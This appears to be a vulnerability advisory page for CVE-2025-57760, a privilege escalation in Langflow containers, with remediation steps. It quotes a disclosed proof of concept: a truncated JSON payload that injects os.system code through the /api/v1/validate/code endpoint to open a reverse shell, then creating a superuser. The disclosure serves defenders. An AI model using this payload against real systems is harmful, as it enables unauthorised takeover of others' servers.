Categories
CVE-2025-57760

Privilege Escalation in langflow (CVE-2025-57760)

Summary

Vulnerability in langflow (CVE-2025-57760). Successful exploitation can lead to full system takeover. Mitigation: upgrade to 1.5.1 or later.

Original description

The description as published by the source.

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

  1. Start container with LANGFLOW_ENABLE_AUTH set to True.

  2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

  3. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2025-57760 has been found in langflow.
Successful exploitation can lead to full system takeover.
What to do: upgrade langflow to 1.5.1 or later.
If unsure, ask your IT team or search "langflow CVE-2025-57760" on the vendor's site.

CVE-2025-57760 (langflow) — CWE-269
Attack vector: remote (network-reachable) / no user interaction
Patched: 1.5.1 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-269) exists in langflow.

📍 Affected scope

Check the vendor advisory for the affected versions of langflow.

🔥 Severity

Severity: ?. Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 1.5.1.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'langflow' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'langflow' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で langflow を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade langflow to 1.5.1

    ステージング環境で 1.5.1 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI langflow
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.1"}]}]
PyPI langflow-base
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.1"}]}]

References

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